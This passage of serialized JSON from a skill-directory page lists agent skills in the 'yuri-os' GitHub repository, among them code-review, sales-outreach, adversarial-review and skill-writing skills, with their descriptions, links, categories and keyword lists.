cyber-testing-cors-misconfiguration","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fcyber-testing-cors-misconfiguration\u002FSKILL.md",[],[74,98,122,150,179,198],{"skillNo":75,"name":76,"nameZh":6,"description":77,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":79,"categories":80,"keywords":81,"publishedAt":44},"01M71CG1AME5WC0A79AE65WT0X","zoom-out","Tell the agent to zoom out and give broader context or a higher-level perspective. Use when you're unfamiliar with a section of code or need to understand how it fits into the bigger picture.","MIT","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fzoom-out\u002FSKILL.md",[],[82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97],"zoom out","zoom","with","harness","how","section","re","true","understand","use","perspective","when","you","code","it","context",{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":44},"01M71CFY9ATD0BAXV6B14HFG7C","yuri-shura","6-perspective adversarial review for high-stakes turns (architecture decisions, refactor planning, deployment review) — fans out architect, adversary (7-vector attack), maintainer, ops, product, and security perspectives in parallel, then consolidates. Use when user says 'review this decision', '\u002Fshura', 'adversarial review', 'what could go wrong', 'architecture review', or 'deployment review'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-shura\u002FSKILL.md",[],[105,106,85,107,108,109,110,111,112,113,114,91,115,93,116,117,118,119,120,121],"yuri shura","parallel","architecture review","planning","for","deployment","vector","strategic review","decision","strategic","ops","workflow","decisions","architecture","review","perspectives","adversarial",{"skillNo":123,"name":124,"nameZh":6,"description":125,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":126,"categories":127,"keywords":131,"publishedAt":44},"01M71CFTTYW1HA2MNX38EV1GJ5","yuri-sales-intelligence","Unified sales and outreach skill generating cold outreach openers, social selling sequences, objection rebuttals, and ad creative for any paid platform — multi-persona aware, adapting tone and offer frame to buyer type. Use when user says 'write a cold email', 'outreach sequence', 'objection handling', 'ad copy', or 'sales pitch'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-sales-intelligence\u002FSKILL.md",[128],{"categoryNo":129,"categoryName":130,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000005","邮件与沟通",[132,133,134,135,136,137,138,139,140,93,141,142,143,144,145,146,147,109,148,149],"intelligence","sales intelligence","yuri sales intelligence","sales","cold","paid","social","persona","pitch","cold email","ad creative","write","sequences","sequence","platform","email","cold outreach","frame",{"skillNo":151,"name":152,"nameZh":6,"description":153,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":154,"categories":155,"keywords":164,"publishedAt":44},"01M71CFQMBFTFADJNGP0Z2WCYK","yuri-code-intelligence","Unified code quality intelligence layer that diagnoses code smells (Long Method, Feature Envy, design pattern issues), prescribes targeted Fowler refactoring techniques, and reviews code for security, performance, and clarity. Use when user says 'review this code', 'refactor this', 'what's wrong with this method', 'code smells', or 'clean this up'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-code-intelligence\u002FSKILL.md",[156,159],{"categoryNo":157,"categoryName":158,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000007","代码审查",{"categoryNo":160,"categoryName":161,"taxonomyType":162,"taxonomyTypeDesc":163},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[165,95,166,132,85,167,168,169,109,170,171,172,173,174,175,176,177,178,91,93],"yuri code intelligence","code intelligence","reviews","code quality","feature","performance","code review","long","up","issues","clean","techniques","improve","design",{"skillNo":180,"name":181,"nameZh":6,"description":182,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":183,"categories":184,"keywords":185,"publishedAt":44},"01M71CFP32RT6GD3GKNHCJP8VP","yuri-adw","Invoke when user asks to run the ADW loop \u002F agentic engineering loop \u002F software factory workflow.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-adw\u002FSKILL.md",[],[186,187,188,189,190,191,192,193,194,93,195,116,196,197],"yuri adw","run","engineering loop","software factory","software","agentic engineering","factory","loop","invoke","engineering","agentic","user",{"skillNo":199,"name":200,"nameZh":6,"description":201,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":202,"categories":203,"keywords":214,"publishedAt":44},"01M71CFK4VPEKY6A73237P7RSN","writing-skills","Use when creating new skills, editing existing skills, or verifying skills work before deployment","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fwriting-skills\u002FSKILL.md",[204,205,208,211],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":206,"categoryName":207,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":209,"categoryName":210,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":212,"categoryName":213,"taxonomyType":162,"taxonomyTypeDesc":163},"01JBSEEDCAT000000000000036","内容创作者",[215,216,217,93,116,218,85,219,110,91,220],"writing","writing skills","new","work","editing","Existing"]